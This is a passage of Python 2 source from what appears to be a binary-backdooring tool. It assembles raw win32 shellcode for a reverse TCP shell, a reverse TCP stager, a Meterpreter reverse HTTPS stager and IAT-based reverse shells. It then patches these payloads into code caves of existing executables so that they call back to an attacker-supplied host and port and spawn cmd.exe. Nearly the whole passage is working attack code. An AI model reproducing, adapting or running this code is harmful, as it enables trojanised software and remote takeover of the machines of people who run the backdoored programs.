self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
self.shellcode1 += ('\x90' * 13)
self.shellcode2 = ('\x90' * 19)
self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
|
'Modified metasploit windows/shell_reverse_tcp shellcode
to enable continued execution and cave jumping.'
|
def reverse_shell_tcp_inline(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc\xe8'
if (flItms['cave_jumping'] is True):
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\x89\x00\x00\x00'
self.shellcode1 += '`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\x8bX \x01\xd3\xe3<I\x8b4\x8b\x01\xd61\xff1\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe2X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xeb\x86'
self.shellcode2 = ']h32\x00\x00hws2_ThLw&\x07\xff\xd5\xb8\x90\x01\x00\x00)\xc4TPh)\x80k\x00\xff\xd5PPPP@P@Ph\xea\x0f\xdf\xe0\xff\xd5\x89\xc7h'
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'h\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += '\x89\xe6j\x10VWh\x99\xa5ta\xff\xd5hcmd\x00\x89\xe3WWW1\xf6j\x12YV\xe2\xfdf\xc7D$<\x01\x01\x8dD$\x10\xc6\x00DTPVVVFVNVVSVhy\xcc?\x86\xff\xd5\x89\xe0N\x90F\xff0h\x08\x87\x1d`\xff\xd5\xbb\xf0\xb5\xa2Vh\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\x81\xc4\xfc\x01\x00\x00'
self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
|
'Reverse tcp stager. Can be used with windows/shell/reverse_tcp or
windows/meterpreter/reverse_tcp payloads from metasploit.'
|
def reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 241)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 241)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 234)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb7\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 58)
self.shellcode2 += '\xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\x8bX \x01\xd3\xe3<I\x8b4\x8b\x01\xd61\xff1\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe2X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xeb\x86]h32\x00\x00hws2_ThLw&\x07\xff\xd5\xb8\x90\x01\x00\x00)\xc4TPh)\x80k\x00\xff\xd5PPPP@P@Ph\xea\x0f\xdf\xe0\xff\xd5\x97j\x05h'
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'h\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += '\x89\xe6j\x10VWh\x99\xa5ta\xff\xd5\x85\xc0t\x0c\xffN\x08u\xech\xf0\xb5\xa2V\xff\xd5j\x00j\x04VWh\x02\xd9\xc8_\xff\xd5\x8b6j@h\x00\x10\x00\x00Vj\x00hX\xa4S\xe5\xff\xd5\x93Sj\x00VSWh\x02\xd9\xc8_\xff\xd5\x01\xc3)\xc6\x85\xf6u\xec\xc3'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc\x90\xe8\xc1\x00\x00\x00`\x89\xe51\xd2\x90d\x8bR0\x8bR\x0c\x8bR\x14\xeb\x02A\x10\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7Iu\xefR\x90W\x8bR\x10\x90\x8bB<\x01\xd0\x90\x8b@x\xeb\x07\xeaHB\x04\x85|:\x85\xc0\x0f\x84h\x00\x00\x00\x90\x01\xd0P\x90\x8bH\x18\x8bX \x01\xd3\xe3XI\x8b4\x8b\x01\xd61\xff\x901\xc0\xeb\x04\xffi\xd58\xac\xc1\xcf\r\x01\xc78\xe0\xeb\x05\x7f\x1b\xd2\xeb\xcau\xe6\x03}\xf8;}$u\xd4X\x90\x8bX$\x01\xd3\x90f\x8b\x0cK\x8bX\x1c\x01\xd3\x90\xeb\x04\xcd\x97\xf1\xb1\x8b\x04\x8b\x01\xd0\x90\x89D$$[[a\x90YZQ\xeb\x01\x0f\xff\xe0X\x90_Z\x8b\x12\xe9S\xff\xff\xff\x90]\x90\xbe'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += '\x90j@\x90h\x00\x10\x00\x00V\x90j\x00hX\xa4S\xe5\xff\xd5\x89\xc3\x89\xc7\x90\x89\xf1'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebD'
self.shellcode1 += '\x90^'
self.shellcode1 += '\x90\x90\x90\xf2\xa4\xe8 \x00\x00\x00\xbb\xe0\x1d*\n\x90h\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\xff\xd51\xc0PPPSPPh8h\r\x16\xff\xd5XX\x90a'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += "\xe9'\x01\x00\x00"
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Traditional meterpreter reverse https shellcode from metasploit
modified to support cave jumping.'
|
def meterpreter_reverse_https_threaded(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 241)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 241)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 234)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb7\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 58)
self.shellcode2 += '\xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\x8bX \x01\xd3\xe3<I\x8b4\x8b\x01\xd61\xff1\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe2X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xeb\x86]hnet\x00hwiniThLw&\x07\xff\xd51\xffWWWWj\x00Th:Vy\xa7\xff\xd5\xeb_[1\xc9QQj\x03QQh'
self.shellcode2 += struct.pack('<H', self.PORT)
self.shellcode2 += '\x00\x00SPhW\x89\x9f\xc6\xff\xd5\xebHY1\xd2Rh\x002\xa0\x84RRRQRPh\xebU.;\xff\xd5\x89\xc6j\x10[h\x803\x00\x00\x89\xe0j\x04Pj\x1fVhuF\x9e\x86\xff\xd51\xffWWWWVh-\x06\x18{\xff\xd5\x85\xc0u\x1aKt\x10\xeb\xd5\xebI\xe8\xb3\xff\xff\xff/HEVy\x00\x00h\xf0\xb5\xa2V\xff\xd5j@h\x00\x10\x00\x00h\x00\x00@\x00WhX\xa4S\xe5\xff\xd5\x93SS\x89\xe7Wh\x00 \x00\x00SVh\x12\x96\x89\xe2\xff\xd5\x85\xc0t\xcd\x8b\x07\x01\xc3\x85\xc0u\xe5X\xc3\xe8Q\xff\xff\xff'
self.shellcode2 += self.HOST
self.shellcode2 += '\x00'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc\x90\xe8\xc1\x00\x00\x00`\x89\xe51\xd2\x90d\x8bR0\x8bR\x0c\x8bR\x14\xeb\x02A\x10\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7Iu\xefR\x90W\x8bR\x10\x90\x8bB<\x01\xd0\x90\x8b@x\xeb\x07\xeaHB\x04\x85|:\x85\xc0\x0f\x84h\x00\x00\x00\x90\x01\xd0P\x90\x8bH\x18\x8bX \x01\xd3\xe3XI\x8b4\x8b\x01\xd61\xff\x901\xc0\xeb\x04\xffi\xd58\xac\xc1\xcf\r\x01\xc78\xe0\xeb\x05\x7f\x1b\xd2\xeb\xcau\xe6\x03}\xf8;}$u\xd4X\x90\x8bX$\x01\xd3\x90f\x8b\x0cK\x8bX\x1c\x01\xd3\x90\xeb\x04\xcd\x97\xf1\xb1\x8b\x04\x8b\x01\xd0\x90\x89D$$[[a\x90YZQ\xeb\x01\x0f\xff\xe0X\x90_Z\x8b\x12\xe9S\xff\xff\xff\x90]\x90'
self.shellcode1 += '\xbe'
self.shellcode1 += struct.pack('<H', (len(self.shellcode2) - 5))
self.shellcode1 += '\x00\x00'
self.shellcode1 += '\x90j@\x90h\x00\x10\x00\x00V\x90j\x00hX\xa4S\xe5\xff\xd5\x89\xc3\x89\xc7\x90\x89\xf1'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebD'
self.shellcode1 += '\x90^'
self.shellcode1 += '\x90\x90\x90\xf2\xa4\xe8 \x00\x00\x00\xbb\xe0\x1d*\n\x90h\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\xff\xd51\xc0PPPSPPh8h\r\x16\xff\xd5XX\x90a'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
|
def user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
|
flItms['stager'] = True
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 241)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 241)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 234)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb7\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 58)
self.shellcode2 += self.supplied_shellcode
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc\x90\xe8\xc1\x00\x00\x00`\x89\xe51\xd2\x90d\x8bR0\x8bR\x0c\x8bR\x14\xeb\x02A\x10\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7Iu\xefR\x90W\x8bR\x10\x90\x8bB<\x01\xd0\x90\x8b@x\xeb\x07\xeaHB\x04\x85|:\x85\xc0\x0f\x84h\x00\x00\x00\x90\x01\xd0P\x90\x8bH\x18\x8bX \x01\xd3\xe3XI\x8b4\x8b\x01\xd61\xff\x901\xc0\xeb\x04\xffi\xd58\xac\xc1\xcf\r\x01\xc78\xe0\xeb\x05\x7f\x1b\xd2\xeb\xcau\xe6\x03}\xf8;}$u\xd4X\x90\x8bX$\x01\xd3\x90f\x8b\x0cK\x8bX\x1c\x01\xd3\x90\xeb\x04\xcd\x97\xf1\xb1\x8b\x04\x8b\x01\xd0\x90\x89D$$[[a\x90YZQ\xeb\x01\x0f\xff\xe0X\x90_Z\x8b\x12\xe9S\xff\xff\xff\x90]\x90\xbe'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += '\x90j@\x90h\x00\x10\x00\x00V\x90j\x00hX\xa4S\xe5\xff\xd5\x89\xc3\x89\xc7\x90\x89\xf1'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebD'
self.shellcode1 += '\x90^'
self.shellcode1 += '\x90\x90\x90\xf2\xa4\xe8 \x00\x00\x00\xbb\xe0\x1d*\n\x90h\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\xff\xd51\xc0PPPSPPh8h\r\x16\xff\xd5XX\x90a'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Position dependent shellcode that uses API thunks of LoadLibraryA and
GetProcAddress to find and load APIs for callback to C2.'
|
def iat_reverse_tcp_inline(self, flItms, CavesPicked={}):
|
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
self.shellcode1 = '\xfc'
self.shellcode1 += '\xbb'
if ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd3'
self.shellcode1 += '\xb9'
if ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd1'
self.shellcode1 += 'h32\x00\x00hws2_T\x87\xf1\xff\x13hup\x00\x00htarthWSASTP\x97\xff\x16\x95\xb8\x90\x01\x00\x00)\xc4TP\x90\x90\xff\xd5htA\x00\x00hockehWSASTW\xff\x16\x951\xc0PPPP@P@P\xff\xd5\x95hect\x00hconnTW\xff\x16\x87\xcd\x95j\x05h'
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'h\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += '\x89\xe2j\x10RQ\x87\xf9\xff\xd5'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
self.shellcode2 = 'j\x00hel32hkernT\xff\x13hsA\x00\x00hoceshtePrhCreaTP\xff\x16\x95\x93hcmd\x00\x89\xe3WWW\x87\xfe\x921\xf6j\x12YV\xe2\xfdf\xc7D$<\x01\x01\x8dD$\x10\xc6\x00DTPVVVFVNVVSV\x87\xda\xff\xd5\x89\xe6j\x00hel32hkernT\xff\x13hect\x00heObjhinglhForShWaitTP\x95\xff\x17\x95\x89\xf21\xf6NVF\x89\xd4\xff2\x96\xff\xd5\x81\xc44\x02\x00\x00'
self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
|
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
|
def iat_reverse_tcp_inline_threaded(self, flItms, CavesPicked={}):
|
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 46)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 46)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 39)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xe5\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 58)
self.shellcode2 += '\xfc`\x89\xe51\xd2d\x8bR0\x8bR\x08'
self.shellcode2 += '\xbb'
if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<I', (flItms['LoadLibraryA'] - flItms['ImageBase']))
self.shellcode2 += '\x01\xd3'
self.shellcode2 += '\xb9'
if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<I', (flItms['GetProcAddress'] - flItms['ImageBase']))
self.shellcode2 += '\x01\xd1'
self.shellcode2 += 'h32\x00\x00hws2_T\x87\xf1\xff\x13hup\x00\x00htarthWSASTP\x97\xff\x16\x95\xb8\x90\x01\x00\x00)\xc4TP\x90\x90\xff\xd5htA\x00\x00hockehWSASTW\xff\x16\x951\xc0PPPP@P@P\xff\xd5\x95hect\x00hconnTW\xff\x16\x87\xcd\x95j\x05h'
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'h\x02\x00'
self.shellcode2 += struct.pack('!h', self.PORT)
self.shellcode2 += '\x89\xe2j\x10RQ\x87\xf9\xff\xd5'
self.shellcode2 += '\x85\xc0t\x00j\x00hel32hkernT\xff\x13hsA\x00\x00hoceshtePrhCreaTP\xff\x16\x95\x93hcmd\x00\x89\xe3WWW\x87\xfe\x921\xf6j\x12YV\xe2\xfdf\xc7D$<\x01\x01\x8dD$\x10\xc6\x00DTPVVVFVNVVSV\x87\xda\xff\xd5\x89\xe6j\x00hel32hkernT\xff\x13hect\x00heObjhinglhForShWaitTP\x95\xff\x17\x95\x89\xf21\xf6NVF\xff2\x96\xff\xd5'
self.shellcode2 += 'hon\x00\x00hersihGetVTV\xff\x17\xff\xd0<\x06}\x13had\x00\x00hThrehExitTV\xeb(hl\x00\x00\x00hntdlT\xff\x13hd\x00\x00\x00hhreahserThxitUhRtlETP\xff\x17j\x00\xff\xd0'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc'
self.shellcode1 += '\xbb'
if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd3'
self.shellcode1 += '\xb9'
if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd1'
self.shellcode1 += '\x8b\xe9'
self.shellcode1 += '\xbe'
self.shellcode1 += struct.pack('<H', (len(self.shellcode2) - 5))
self.shellcode1 += '\x00\x00j@h\x00\x10\x00\x00Vj\x00'
self.shellcode1 += '\xff\x13'
self.shellcode1 += '\x89\xc3\x89\xc7\x89\xf1'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xeb\x16'
self.shellcode1 += '^'
self.shellcode1 += '\xf2\xa41\xc0PPPSPP'
self.shellcode1 += '>\xffU\x00'
self.shellcode1 += 'Xa'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
|
def iat_reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
|
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
